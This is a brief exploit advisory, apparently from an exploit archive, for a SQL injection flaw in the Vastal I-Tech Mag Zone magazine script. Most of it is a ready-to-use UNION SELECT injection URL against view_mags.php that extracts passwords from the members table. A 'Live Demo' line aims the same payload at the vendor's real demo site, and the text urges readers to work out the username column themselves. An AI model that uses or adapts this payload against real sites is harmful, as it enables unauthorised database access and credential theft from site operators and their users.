vastal-itechmag.txt

`#######################################################  
# Vastal I-Tech Mag Zone SQL Injection Vulnerability  
#  
# Author : Stack  
#  
#  
# Script Home Page : http://www.vastal.com/mag-zone-online-library-system.html  
#  
# Demo : http://www.vastal.com/mag/  
#######################################################  
the exploit fate the password  
use ur mind for have the column username  
Exploit:  
http://site.il/view_mags.php?cat_id=-1/**/UNION/**/SELECT/**/concat(0x3a,password,0x3a)/**/FROM/**/members/*  
Live Demo  
http://www.vastal.com/mag/view_mags.php?cat_id=-1/**/UNION/**/SELECT/**/concat(0x3a,password,0x3a)/**/FROM/**/members/*  
  
  
`